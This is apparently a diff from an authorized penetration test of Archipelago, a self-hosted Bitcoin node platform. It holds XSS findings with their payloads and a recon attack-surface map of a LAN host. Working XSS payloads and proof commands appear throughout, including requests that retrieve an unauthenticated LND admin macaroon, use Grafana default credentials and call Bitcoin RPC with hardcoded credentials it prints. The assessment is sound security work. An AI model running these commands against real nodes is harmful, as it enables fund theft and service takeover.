window.postMessage({ type: 'claude-auth-success' }, '*')
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## XSS-004 — Absent Content-Security-Policy + CSP/X-Frame-Options Stripping
|
||||
**Type**: Missing security headers (XSS enabler)
|
||||
**Confidence**: High
|
||||
**Location**: `image-recipe/configs/nginx-archipelago.conf` (entire server block)
|
||||
|
||||
**Source file**: `image-recipe/configs/nginx-archipelago.conf:89-333`
|
||||
|
||||
**Evidence**:
|
||||
1. **No CSP header** set on any response — no defense-in-depth against XSS
|
||||
2. **No X-Frame-Options** — clickjacking possible on main UI
|
||||
3. **No X-Content-Type-Options** — MIME sniffing attacks possible
|
||||
4. 25+ app proxy locations explicitly strip CSP and X-Frame-Options:
|
||||
```nginx
|
||||
proxy_hide_header X-Frame-Options;
|
||||
proxy_hide_header Content-Security-Policy;
|
||||
```
|
||||
This removes the security headers that apps like Vaultwarden, Portainer, and Grafana set to protect themselves, making them vulnerable to clickjacking when proxied.
|
||||
|
||||
Without CSP, if any XSS vector is found (including in proxied apps), there are zero mitigations — inline scripts, eval, and external script loading all work.
|
||||
|
||||
---
|
||||
|
||||
## XSS-005 — Echo Endpoint Reflects Arbitrary Input
|
||||
**Type**: Reflected (JSON context)
|
||||
**Confidence**: Low
|
||||
**Location**: `POST /rpc/v1` method `echo` / `server.echo`
|
||||
|
||||
**Source file**: `core/archipelago/src/api/rpc/mod.rs:171-178`
|
||||
|
||||
**Evidence**:
|
||||
```rust
|
||||
async fn handle_echo(&self, params: Option<serde_json::Value>) -> Result<serde_json::Value> {
|
||||
if let Some(p) = params {
|
||||
if let Some(msg) = p.get("message").and_then(|v| v.as_str()) {
|
||||
return Ok(serde_json::json!({ "message": msg }));
|
||||
}
|
||||
}
|
||||
Ok(serde_json::json!({ "message": "Hello from Archipelago!" }))
|
||||
}
|
||||
```
|
||||
The `message` parameter is reflected verbatim in the JSON response. The response has `Content-Type: application/json`, so browsers won't render it as HTML. However, combined with CORS wildcard, any website can read the reflected value. If this response is ever consumed unsafely by the frontend or a third-party client, XSS is possible.
|
||||
|
||||
**Suggested exploit**:
|
||||
```bash
|
||||
curl -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"jsonrpc":"2.0","id":1,"method":"echo","params":{"message":"<script>alert(1)</script>"}}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## XSS-006 — test-aiui.html postMessage Without Origin Validation + innerHTML
|
||||
**Type**: DOM-based XSS
|
||||
**Confidence**: Low
|
||||
**Location**: `neode-ui/public/test-aiui.html:46,50-69`
|
||||
|
||||
**Source file**: `neode-ui/public/test-aiui.html`
|
||||
|
||||
**Evidence**:
|
||||
- Line 46: `results.innerHTML = ''` — uses innerHTML (safe with empty string, but establishes unsafe pattern)
|
||||
- Line 50-69: Listens to all `postMessage` events with **no origin check**
|
||||
- Line 107: `div.textContent = ...JSON.stringify(resp.data)...` — uses textContent (safe), but the callback at line 56 passes the full message object to arbitrary callbacks
|
||||
- This is a test file deployed to production at `/test-aiui.html`
|
||||
|
||||
---
|
||||
|
||||
## XSS-007 — CORS Wildcard Enables Cross-Origin XSS Delivery
|
||||
**Type**: XSS enabler (not XSS itself)
|
||||
**Confidence**: High
|
||||
**Location**: All backend endpoints
|
||||
|
||||
**Source file**: `core/archipelago/src/api/handler.rs:15` — `const CORS_ANY: &str = "*";`
|
||||
|
||||
**Evidence**: Every backend response includes `Access-Control-Allow-Origin: *`. This means any website can:
|
||||
1. Inject stored messages via `POST /archipelago/node-message` (XSS-001)
|
||||
2. Read reflected data from `echo` endpoint (XSS-005)
|
||||
3. Invoke any RPC method and read responses
|
||||
4. Deliver XSS payloads remotely without requiring the attacker to be on the local network
|
||||
|
||||
This transforms what would be LAN-only vulnerabilities into remotely exploitable ones via drive-by attacks.
|
||||
|
||||
---
|
||||
The codebase is clean on traditional XSS:
|
||||
- All `v-html` (2 instances) sanitized with DOMPurify
|
||||
- Stored messages sanitized with HTML entity encoding before storage
|
||||
- All dynamic content rendered via Vue `{{ }}` auto-escaping
|
||||
- Backend returns only JSON (serde_json), never raw HTML
|
||||
- Error messages sanitized by `sanitize_error_message()` before returning
|
||||
|
||||
```json
|
||||
{
|
||||
@@ -181,59 +30,35 @@ This transforms what would be LAN-only vulnerabilities into remotely exploitable
|
||||
"findings": [
|
||||
{
|
||||
"id": "XSS-001",
|
||||
"type": "stored_xss",
|
||||
"endpoint": "/archipelago/node-message",
|
||||
"parameter": "message, from_pubkey",
|
||||
"type": "dom_based_xss_iframe_src_injection",
|
||||
"endpoint": "/app/:appId",
|
||||
"parameter": "path (query)",
|
||||
"confidence": "medium",
|
||||
"payload_suggestion": "curl -X POST http://192.168.1.228/archipelago/node-message -H 'Content-Type: application/json' -d '{\"from_pubkey\":\"\\\" onfocus=alert(1) autofocus=\\\"\",\"message\":\"<img src=x onerror=alert(document.cookie)>\"}'"
|
||||
"payload_suggestion": "/app/indeedhub?path=%23<img+onerror=alert(1)+src=x>"
|
||||
},
|
||||
{
|
||||
"id": "XSS-002",
|
||||
"type": "dom_xss_postmessage",
|
||||
"endpoint": "AppLauncherOverlay.vue (client-side)",
|
||||
"parameter": "postMessage event.data.type",
|
||||
"type": "dom_based_xss_javascript_uri_redirect",
|
||||
"endpoint": "/login",
|
||||
"parameter": "redirect (query)",
|
||||
"confidence": "medium",
|
||||
"payload_suggestion": "window.parent.postMessage({ type: 'app-launcher-escape' }, '*')"
|
||||
"payload_suggestion": "/login?redirect=javascript:alert(document.cookie)"
|
||||
},
|
||||
{
|
||||
"id": "XSS-003",
|
||||
"type": "dom_xss_postmessage",
|
||||
"endpoint": "Settings.vue (client-side)",
|
||||
"parameter": "postMessage event.data.type",
|
||||
"confidence": "medium",
|
||||
"payload_suggestion": "window.postMessage({ type: 'claude-auth-success' }, '*')"
|
||||
"type": "dom_based_cross_origin_message_injection",
|
||||
"endpoint": "postMessage handler (NIP-07)",
|
||||
"parameter": "event.data (nostr-request)",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "window.parent.postMessage({type:'nostr-request',id:'1',method:'getPublicKey'},'*')"
|
||||
},
|
||||
{
|
||||
"id": "XSS-004",
|
||||
"type": "missing_csp_headers",
|
||||
"endpoint": "All responses (nginx)",
|
||||
"parameter": "Content-Security-Policy, X-Frame-Options",
|
||||
"type": "weak_csp_unsafe_inline",
|
||||
"endpoint": "all pages (nginx)",
|
||||
"parameter": "n/a",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "No CSP set — any successful XSS injection has zero mitigation. Verify with: curl -sI http://192.168.1.228/ | grep -i security"
|
||||
},
|
||||
{
|
||||
"id": "XSS-005",
|
||||
"type": "reflected_xss_json",
|
||||
"endpoint": "/rpc/v1 (method: echo)",
|
||||
"parameter": "params.message",
|
||||
"confidence": "low",
|
||||
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"echo\",\"params\":{\"message\":\"<script>alert(1)</script>\"}}'"
|
||||
},
|
||||
{
|
||||
"id": "XSS-006",
|
||||
"type": "dom_xss_postmessage",
|
||||
"endpoint": "/test-aiui.html",
|
||||
"parameter": "postMessage event.data",
|
||||
"confidence": "low",
|
||||
"payload_suggestion": "window.postMessage({ type: 'context:response', id: 'test-1', data: '<img src=x onerror=alert(1)>' }, '*')"
|
||||
},
|
||||
{
|
||||
"id": "XSS-007",
|
||||
"type": "cors_wildcard_xss_enabler",
|
||||
"endpoint": "All backend endpoints",
|
||||
"parameter": "Access-Control-Allow-Origin: *",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "From any website: fetch('http://192.168.1.228/archipelago/node-message', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({from_pubkey:'attacker', message:'<script>alert(1)</script>'})})"
|
||||
"payload_suggestion": "n/a - amplification factor, not direct XSS"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
619
loop/pentest/recon/attack-surface-analysis.md
Normal file
@@ -0,0 +1,619 @@
|
||||
# Archipelago Attack Surface Analysis
|
||||
|
||||
**Target:** 192.168.1.228
|
||||
**Date:** 2026-03-18
|
||||
**Scope:** Authorized security assessment — full infrastructure
|
||||
**Assessor:** Automated recon + source code review
|
||||
|
||||
---
|
||||
|
||||
## 1. Target Overview
|
||||
|
||||
### Technologies Detected
|
||||
|
||||
| Layer | Technology | Version |
|
||||
|-------|-----------|---------|
|
||||
| OS | Debian 12 (Bookworm) | x86_64, kernel unknown |
|
||||
| Web Server | nginx | 1.22.1 |
|
||||
| Reverse Proxy (alt) | OpenResty | (port 81, Nginx Proxy Manager) |
|
||||
| Backend | Rust (custom binary) | 0.1.0 (`archipelago`) |
|
||||
| Frontend | Vue 3 + TypeScript + Vite 7 | SPA at `/` |
|
||||
| Container Runtime | Podman (rootless) | — |
|
||||
| Lightning | LND | auto-generated TLS cert |
|
||||
| Bitcoin | Bitcoin Core/Knots | mainnet, block 941146 |
|
||||
| Monitoring | Grafana | 10.2.0 |
|
||||
| Uptime | Uptime Kuma | (port 3001) |
|
||||
| Proxy Manager | Nginx Proxy Manager | 2.14.0 |
|
||||
| SSH | OpenSSH | 9.2p1 Debian 2+deb12u7 |
|
||||
| TLS | Self-signed cert | CN=archipelago.local, expires 2027-02-17 |
|
||||
|
||||
### Open Ports and Services
|
||||
|
||||
| Port | Service | Protocol | Direct Access |
|
||||
|------|---------|----------|---------------|
|
||||
| 22 | SSH (OpenSSH 9.2p1) | TCP | Yes |
|
||||
| 80 | Nginx (main reverse proxy) | HTTP | Yes |
|
||||
| 81 | Nginx Proxy Manager (OpenResty) | HTTP | Yes |
|
||||
| 443 | Nginx (HTTPS, self-signed) | HTTPS | Yes |
|
||||
| 3000 | Grafana | HTTP | Yes |
|
||||
| 3001 | Uptime Kuma | HTTP | Yes |
|
||||
| 5678 | Archipelago Rust backend | HTTP | Yes (behind nginx) |
|
||||
| 7777 | IndeedHub (nginx 1.29.6) | HTTP | Yes |
|
||||
| 8080 | LND REST API | HTTPS (TLS) | Yes |
|
||||
| 8334 | Bitcoin UI (custom nginx) | HTTP | Inferred from config |
|
||||
| 8083 | FileBrowser | HTTP | Inferred from config |
|
||||
| 8888 | SearXNG | HTTP | Inferred from config |
|
||||
| 9000 | Portainer | HTTP | Yes |
|
||||
| 11434 | Ollama (local LLM) | HTTP | Inferred from config |
|
||||
| 3141/3142 | Claude OAuth Proxy | HTTP | Internal |
|
||||
|
||||
### Subdomains Discovered
|
||||
|
||||
- `archipelago.local` (self-signed cert SAN)
|
||||
- No external subdomains (internal LAN deployment)
|
||||
|
||||
---
|
||||
|
||||
## 2. Complete Endpoint Map
|
||||
|
||||
### 2.1 Nginx HTTP Routes (Port 80/443)
|
||||
|
||||
#### Unauthenticated Endpoints
|
||||
|
||||
| Method | Path | Backend | Source | Auth Enforced |
|
||||
|--------|------|---------|--------|---------------|
|
||||
| GET | `/health` | 127.0.0.1:5678 | nginx config line ~45 | **None** |
|
||||
| GET | `/electrs-status` | 127.0.0.1:5678 | nginx config, CORS `*` | **None** |
|
||||
| GET | `/lnd-connect-info` | 127.0.0.1:5678 | nginx config, CORS `*` | **None** |
|
||||
| GET | `/content` | 127.0.0.1:5678 | nginx config | **None** (P2P) |
|
||||
| GET | `/content/*` | 127.0.0.1:5678 | nginx config | **None** (P2P) |
|
||||
| POST | `/dwn` | 127.0.0.1:5678 | nginx config | **None** (P2P) |
|
||||
| GET | `/dwn/health` | 127.0.0.1:5678 | nginx config | **None** |
|
||||
| POST | `/archipelago/node-message` | 127.0.0.1:5678 | nginx config | **None** (P2P) |
|
||||
| GET | `/` | Static SPA | nginx config | **None** |
|
||||
| GET | `/assets/*` | Static files | nginx config | **None** |
|
||||
| GET | `/nostr-provider.js` | Static file | nginx config | **None** |
|
||||
|
||||
#### Authenticated Endpoints (Session Cookie Required)
|
||||
|
||||
| Method | Path | Backend | Source | Notes |
|
||||
|--------|------|---------|--------|-------|
|
||||
| POST | `/rpc/v1` | 127.0.0.1:5678 | nginx config | Rate limited: 20r/s, burst 40. 1MB body. 600s timeout |
|
||||
| WS | `/ws/db` | 127.0.0.1:5678 | nginx config | WebSocket upgrade. 86400s timeout |
|
||||
| GET | `/api/container/logs*` | 127.0.0.1:5678 | handler.rs | Query: `?app_id=&lines=` |
|
||||
| GET | `/proxy/lnd/*` | 127.0.0.1:8080 | handler.rs | Proxies to LND REST API |
|
||||
| GET | `/aiui/api/claude/*` | 127.0.0.1:3141 | nginx config | Streaming. 300s timeout |
|
||||
| GET | `/aiui/api/ollama/*` | 127.0.0.1:11434 | nginx config | Streaming. 300s timeout |
|
||||
| GET | `/aiui/api/openrouter/*` | openrouter.ai | nginx config | External API proxy |
|
||||
| GET | `/aiui/api/web-search` | 127.0.0.1:8888 | nginx config | SearXNG. 30s timeout |
|
||||
|
||||
#### App Proxy Routes (`/app/*`)
|
||||
|
||||
All inject `nostr-provider.js`, strip X-Frame-Options, re-apply SAMEORIGIN.
|
||||
|
||||
| Path | Backend Port | Timeout | Special |
|
||||
|------|-------------|---------|---------|
|
||||
| `/app/bitcoin-ui/` | 8334 | 5s | — |
|
||||
| `/app/electrumx/` | 50002 | 5s | — |
|
||||
| `/app/grafana/` | 3000 | 5s | — |
|
||||
| `/app/uptime-kuma/` | 3001 | 5s | — |
|
||||
| `/app/searxng/` | 8888 | 5s | — |
|
||||
| `/app/portainer/` | 9000 | 5s | — |
|
||||
| `/app/filebrowser/` | 8083 | 5s | 10GB upload limit; path traversal check |
|
||||
| `/app/jellyfin/` | 8096 | 5s | — |
|
||||
| `/app/photoprism/` | 2342 | 5s | — |
|
||||
| `/app/onlyoffice/` | 9980 | 5s | — |
|
||||
| `/app/tailscale/` | 8240 | 5s | — |
|
||||
| `/app/ollama/` | 11434 | 5s | — |
|
||||
| `/app/nginx-proxy-manager/` | 81 | 5s | — |
|
||||
| `/app/lnd/` | 8081 | 300s | Long timeout |
|
||||
| `/app/mempool/` | 4080 | 300s | Long timeout |
|
||||
| `/app/fedimint/` | 8175 | 300s | Long timeout |
|
||||
| `/app/fedimint-gateway/` | 8176 | 300s | Long timeout |
|
||||
| `/app/nextcloud/` | 8085 | 300s | — |
|
||||
| `/app/vaultwarden/` | 8082 | 300s | Password manager |
|
||||
| `/app/immich/` | 2283 | 300s | — |
|
||||
| `/app/penpot/` | 9001 | 300s | — |
|
||||
| `/app/indeedhub/` | 7777 | 5s | Complex URL rewriting, WebSocket |
|
||||
|
||||
#### External Site Proxies (Separate Ports)
|
||||
|
||||
| Port | Upstream | Purpose |
|
||||
|------|----------|---------|
|
||||
| 8901 | botfights.net | Nostr proxy |
|
||||
| 8902 | 484.kitchen | Nostr proxy |
|
||||
| 8903 | present.l484.com | Nostr proxy |
|
||||
|
||||
### 2.2 Rust Backend RPC Methods (`POST /rpc/v1`)
|
||||
|
||||
**Protocol:** JSON-RPC 2.0
|
||||
**Content-Type:** `application/json`
|
||||
**Auth:** Session cookie (except where noted)
|
||||
|
||||
#### Unauthenticated RPC Methods (No Session Required)
|
||||
|
||||
| Method | Parameters | Returns | Source |
|
||||
|--------|-----------|---------|--------|
|
||||
| `auth.login` | `password` | Sets session cookie | `api/rpc/auth.rs` |
|
||||
| `auth.login.totp` | `token`, `code` | Session | `api/rpc/auth.rs` |
|
||||
| `auth.login.backup` | `token`, `backup_code` | Session | `api/rpc/auth.rs` |
|
||||
| `auth.isOnboardingComplete` | — | `boolean` | `api/rpc/auth.rs` |
|
||||
| `auth.isSetup` | — | `boolean` | `api/rpc/auth.rs` |
|
||||
| `backup.restore-identity` | `backup_file`, `password` | `{did}` | `api/rpc/mod.rs` |
|
||||
| `federation.get-state` | — | `{state}` | P2P inter-node |
|
||||
| `federation.peer-joined` | `peer_did`, `address` | — | P2P inter-node |
|
||||
| `federation.peer-address-changed` | `peer_did`, `new_address` | — | P2P inter-node |
|
||||
|
||||
#### Authenticated RPC Methods (150+ total, grouped by domain)
|
||||
|
||||
<details>
|
||||
<summary><b>Authentication & Session (12 methods)</b></summary>
|
||||
|
||||
| Method | Parameters | Purpose |
|
||||
|--------|-----------|---------|
|
||||
| `auth.logout` | — | Invalidate session |
|
||||
| `auth.changePassword` | `currentPassword`, `newPassword` | Change password |
|
||||
| `auth.onboardingComplete` | — | Mark onboarding done |
|
||||
| `auth.resetOnboarding` | — | Reset onboarding |
|
||||
| `auth.totp.setup.begin` | — | Get TOTP secret + QR |
|
||||
| `auth.totp.setup.confirm` | `code` | Confirm TOTP setup |
|
||||
| `auth.totp.disable` | `password` | Disable 2FA |
|
||||
| `auth.totp.status` | — | Check 2FA enabled |
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Container Management (10 methods)</b></summary>
|
||||
|
||||
| Method | Parameters | Purpose |
|
||||
|--------|-----------|---------|
|
||||
| `container-install` | `image`, `name` | Install container |
|
||||
| `container-start` | `app_id` | Start container |
|
||||
| `container-stop` | `app_id` | Stop container |
|
||||
| `container-remove` | `app_id` | Remove container |
|
||||
| `container-list` | — | List all containers |
|
||||
| `container-status` | `app_id` | Container status |
|
||||
| `container-logs` | `app_id`, `lines` | Container logs |
|
||||
| `container-health` | `app_id` | Container health |
|
||||
| `bundled-app-start` | `app_id` | Start bundled app |
|
||||
| `bundled-app-stop` | `app_id` | Stop bundled app |
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Package Management (5 methods)</b></summary>
|
||||
|
||||
| Method | Parameters | Purpose |
|
||||
|--------|-----------|---------|
|
||||
| `package.install` | `package_id`, `version` | Install from marketplace |
|
||||
| `package.start` | `package_id` | Start package |
|
||||
| `package.stop` | `package_id` | Stop package |
|
||||
| `package.restart` | `package_id` | Restart package |
|
||||
| `package.uninstall` | `package_id` | Uninstall |
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Bitcoin & Lightning (15 methods)</b></summary>
|
||||
|
||||
| Method | Parameters | Purpose |
|
||||
|--------|-----------|---------|
|
||||
| `bitcoin.getinfo` | — | Bitcoin Core info |
|
||||
| `lnd.getinfo` | — | LND node info |
|
||||
| `lnd.listchannels` | — | List channels |
|
||||
| `lnd.openchannel` | `peer_pubkey`, `local_funding_amount` | Open channel |
|
||||
| `lnd.closechannel` | `channel_point` | Close channel |
|
||||
| `lnd.newaddress` | — | Generate address |
|
||||
| `lnd.sendcoins` | `address`, `amount_sats` | Send BTC |
|
||||
| `lnd.createinvoice` | `amount_sats`, `memo` | Create invoice |
|
||||
| `lnd.payinvoice` | `payment_request` | Pay invoice |
|
||||
| `lnd.create-psbt` | `inputs`, `outputs` | Create PSBT |
|
||||
| `lnd.finalize-psbt` | `psbt` | Broadcast PSBT |
|
||||
| `lnd.create-raw-tx` | `inputs`, `outputs` | Raw transaction |
|
||||
| `lnd.gettransactions` | — | Wallet history |
|
||||
| `lnd.connect-info` | — | LND connection string |
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Identity & Crypto (30+ methods)</b></summary>
|
||||
|
||||
Covers: identity CRUD, DID resolution, Nostr key operations, NIP-04/NIP-44 encryption/decryption, verifiable credentials (issue/verify/revoke), presentations, DHT DID, NIP-05 names, key export.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Node & P2P (15+ methods)</b></summary>
|
||||
|
||||
Covers: node DID, challenge signing, backup creation, Tor address, Nostr publishing, peer management, message sending, peer discovery.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Federation (10 methods)</b></summary>
|
||||
|
||||
Covers: invite generation, joining, node listing, node removal, trust scoring, state sync, app deployment.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Mesh Networking (20+ methods)</b></summary>
|
||||
|
||||
Covers: status, peers, messaging, broadcast, LoRa configuration, invoice relay, GPS coordinates, emergency alerts, deadman switch, Bitcoin tx relay, Lightning relay, block headers, X3DH prekey rotation.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Ecash Wallet (6 methods)</b></summary>
|
||||
|
||||
Covers: balance, mint, melt, send, receive, transaction history.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Content Sharing (7 methods)</b></summary>
|
||||
|
||||
Covers: list own content, add/remove files, pricing, availability, browse/download from peers.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>DWN (7 methods)</b></summary>
|
||||
|
||||
Covers: status, sync, protocol management, message query/write.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Network & Infrastructure (20+ methods)</b></summary>
|
||||
|
||||
Covers: network interfaces, WiFi scan/config, Ethernet config, DNS config, UPnP router discovery/forwarding, Tor service management (list/create/delete/rotate), Nostr relay management, VPN config.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>System Management (15+ methods)</b></summary>
|
||||
|
||||
Covers: system stats, processes, temperature, USB detection, disk status/cleanup, factory reset, monitoring (current/history/alerts), updates (check/download/apply/rollback), backup (create/list/verify/restore/USB/S3).
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Other (10+ methods)</b></summary>
|
||||
|
||||
Covers: server naming, analytics opt-in/out, webhook config, security secret rotation, marketplace discovery/publishing.
|
||||
|
||||
</details>
|
||||
|
||||
### 2.3 Direct HTTP Endpoints (Backend)
|
||||
|
||||
| Method | Path | Auth | Source |
|
||||
|--------|------|------|--------|
|
||||
| GET | `/health` | None | `handler.rs:~120` |
|
||||
| GET | `/electrs-status` | None | `handler.rs` |
|
||||
| GET | `/lnd-connect-info` | None | `handler.rs` |
|
||||
| GET | `/content` | None | `handler.rs` |
|
||||
| GET | `/content/*` | None | `handler.rs` (Range header support) |
|
||||
| POST | `/archipelago/node-message` | P2P validation | `handler.rs` |
|
||||
| GET | `/dwn/health` | None | `handler.rs` |
|
||||
| POST | `/dwn` | None (P2P) | `handler.rs` |
|
||||
| WS | `/ws/db` | Session cookie | `handler.rs:514-625` |
|
||||
| GET | `/api/container/logs*` | Session | `handler.rs` |
|
||||
| GET | `/proxy/lnd/*` | Session | `handler.rs` |
|
||||
|
||||
### 2.4 Direct Port Services
|
||||
|
||||
| Port | Service | Own Auth | Notes |
|
||||
|------|---------|----------|-------|
|
||||
| 3000 | Grafana | Session/Basic | Login page directly accessible |
|
||||
| 3001 | Uptime Kuma | Session | Redirects to /dashboard |
|
||||
| 81 | Nginx Proxy Manager | Session | Login page directly accessible |
|
||||
| 7777 | IndeedHub | Nostr NIP-07 | Full app accessible |
|
||||
| 8080 | LND REST | TLS + Macaroon | Requires valid macaroon header |
|
||||
| 8334 | Bitcoin UI | None/Basic Auth on `/bitcoin-rpc/` | Hardcoded creds in nginx config |
|
||||
| 9000 | Portainer | Session | Redirects to timeout (possibly unconfigured) |
|
||||
|
||||
### 2.5 WebSocket Endpoints
|
||||
|
||||
| Path | Auth | Protocol | Features |
|
||||
|------|------|----------|----------|
|
||||
| `/ws/db` | Session cookie | JSON Patch | 30s ping, 5min inactivity timeout, state streaming |
|
||||
| `/app/indeedhub/ws/` | Nostr | WebSocket | 86400s timeout |
|
||||
|
||||
---
|
||||
|
||||
## 3. Attack Surface Map
|
||||
|
||||
### 3.1 Input Vectors
|
||||
|
||||
| Vector | Endpoint(s) | Input Type | Validation |
|
||||
|--------|------------|------------|------------|
|
||||
| Password login | `auth.login` | JSON body (`password`) | Bcrypt comparison, rate limited (5/min) |
|
||||
| TOTP code | `auth.login.totp` | JSON body (`code`) | Constant-time comparison, 5 attempts |
|
||||
| RPC method dispatch | `/rpc/v1` | JSON body (`method`, `params`) | Switch on method name, typed params |
|
||||
| Container image install | `container-install` | JSON body (`image`) | Image name passed to Podman |
|
||||
| File upload | `/app/filebrowser/` | Multipart/file body | 10GB limit, path traversal check |
|
||||
| P2P messages | `/archipelago/node-message` | JSON body | Source validation (Tor onion) |
|
||||
| DWN writes | `/dwn` | JSON body | Protocol validation |
|
||||
| Content download | `/content/*` | URL path + Range header | Path-based content ID lookup |
|
||||
| Bitcoin transactions | `lnd.sendcoins`, `lnd.payinvoice` | JSON body (address, amount) | Address validation |
|
||||
| DNS configuration | `network.configure-dns` | JSON body (servers) | Server address validation |
|
||||
| WiFi config | `network.configure-wifi` | JSON body (ssid, password) | — |
|
||||
| Package install | `package.install` | JSON body (id, version, url) | marketplace URL fetched |
|
||||
| Federation join | `federation.join` | JSON body (invite code) | Code validation |
|
||||
| Webhook config | `webhook.configure` | JSON body (url, events) | URL stored, callbacks sent |
|
||||
| Bitcoin RPC proxy | `8334:/bitcoin-rpc/` | JSON body (method, params) | Basic Auth (hardcoded) |
|
||||
| Factory reset | `system.factory-reset` | JSON body (`confirm: true`) | Auth + confirm flag |
|
||||
|
||||
### 3.2 Authentication Mechanisms
|
||||
|
||||
| Mechanism | Used By | Strength |
|
||||
|-----------|---------|----------|
|
||||
| Password + bcrypt (cost 12) | Main login | Strong (rate limited) |
|
||||
| TOTP (RFC 6238) | 2FA | Strong (constant-time, replay-protected) |
|
||||
| Session cookie (256-bit random) | All authenticated endpoints | Strong (HttpOnly, SameSite=Strict) |
|
||||
| Remember-me (HMAC-SHA256) | Session persistence | Medium (derived from machine-id) |
|
||||
| CSRF token | State-changing operations | Present but enforcement unclear |
|
||||
| Macaroon (LND) | LND REST API | Strong (but exposed via endpoint) |
|
||||
| Basic Auth (hardcoded) | Bitcoin UI RPC proxy | **Weak** (hardcoded in config) |
|
||||
| Default creds (Grafana) | Grafana admin | **Weak** (admin:admin works) |
|
||||
| No auth | 8 HTTP endpoints, 6 RPC methods | **N/A** |
|
||||
|
||||
### 3.3 Data Flow
|
||||
|
||||
```
|
||||
User Browser
|
||||
│
|
||||
├─[Session Cookie]──→ Nginx (80/443)
|
||||
│ ├──→ /rpc/v1 ──→ Rust Backend (5678) ──→ Podman containers
|
||||
│ ├──→ /ws/db ──→ WebSocket state stream
|
||||
│ ├──→ /app/* ──→ Container UIs (iframes)
|
||||
│ └──→ /aiui/* ──→ Claude Proxy (3141) ──→ Anthropic API
|
||||
│
|
||||
├─[No Auth]──→ /health, /electrs-status, /lnd-connect-info, /content, /dwn
|
||||
│
|
||||
├─[Direct Port]──→ Grafana:3000 (admin:admin)
|
||||
├─[Direct Port]──→ NPM:81 (session)
|
||||
├─[Direct Port]──→ LND:8080 (TLS + macaroon)
|
||||
└─[Direct Port]──→ Bitcoin UI:8334 (Basic Auth hardcoded)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Interesting Findings
|
||||
|
||||
### CRITICAL
|
||||
|
||||
#### 4.1 Unauthenticated LND Admin Macaroon Exposure
|
||||
|
||||
- **Endpoint:** `GET /lnd-connect-info` (no auth required)
|
||||
- **Confirmed:** Returns full admin macaroon (base64url), TLS certificate, gRPC port (10009), REST port (8080)
|
||||
- **Macaroon permissions:** `address:rw`, `info:rw`, `invoices:rw`, `macaroon:generate/rw`, `message:rw`, `offchain:rw`, `onchain:rw`, `peers:rw`, `signer:generate/read`
|
||||
- **Impact:** Any host on the LAN can retrieve the admin macaroon and gain **full control** of the Lightning node — send all funds, open/close channels, create invoices, sign messages. This is the equivalent of exposing a root password to the Bitcoin wallet.
|
||||
- **CORS:** `Access-Control-Allow-Origin: *` (any origin)
|
||||
|
||||
**Proof:**
|
||||
```bash
|
||||
curl -sk http://192.168.1.228/lnd-connect-info
|
||||
# Returns: {"cert_base64url":"MIIC...","grpc_port":10009,"macaroon_base64url":"AgED...","rest_port":8080}
|
||||
```
|
||||
|
||||
#### 4.2 Grafana Default Credentials (admin:admin)
|
||||
|
||||
- **Endpoint:** `http://192.168.1.228:3000`
|
||||
- **Confirmed:** `admin:admin` returns full organization data
|
||||
- **Version:** Grafana 10.2.0 (commit 895fbafb7a)
|
||||
- **Impact:** Full access to monitoring dashboards, data sources, alert rules. Can potentially access connected databases, execute queries, and pivot to other services via configured data sources.
|
||||
|
||||
**Proof:**
|
||||
```bash
|
||||
curl -sk http://192.168.1.228:3000/api/org -u admin:admin
|
||||
# Returns: {"id":1,"name":"Main Org.","address":{...}}
|
||||
```
|
||||
|
||||
#### 4.3 Bitcoin RPC Full Access via Hardcoded Credentials
|
||||
|
||||
- **Endpoint:** `POST http://192.168.1.228:8334/bitcoin-rpc/`
|
||||
- **Credentials:** `archipelago:archipelago123` (hardcoded in `docker/bitcoin-ui/nginx.conf`)
|
||||
- **Confirmed:** Returns full `getblockchaininfo` — mainnet, block 941146, 828GB on disk
|
||||
- **Impact:** Full Bitcoin Core RPC access. Depending on wallet configuration, could call `sendtoaddress`, `dumpprivkey`, `listunspent`, or any other RPC method. Mainnet node with real funds.
|
||||
|
||||
**Proof:**
|
||||
```bash
|
||||
curl -sk -X POST http://192.168.1.228:8334/bitcoin-rpc/ \
|
||||
-u archipelago:archipelago123 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"jsonrpc":"1.0","id":"test","method":"getblockchaininfo","params":[]}'
|
||||
# Returns: {"result":{"chain":"main","blocks":941146,...},"error":null}
|
||||
```
|
||||
|
||||
### HIGH
|
||||
|
||||
#### 4.4 Unauthenticated Content Catalog Exposure
|
||||
|
||||
- **Endpoint:** `GET /content`
|
||||
- **Confirmed:** Returns complete file catalog — filenames, sizes, MIME types, UUIDs
|
||||
- **Data leaked:** Personal music files with full paths (`/Music/1 - Govcucks.wav`, etc.)
|
||||
- **Impact:** Information disclosure of personal files shared via P2P. File UUIDs could be used to download content via `/content/{id}`.
|
||||
|
||||
#### 4.5 Nginx Proxy Manager Accessible on LAN
|
||||
|
||||
- **Endpoint:** `http://192.168.1.228:81`
|
||||
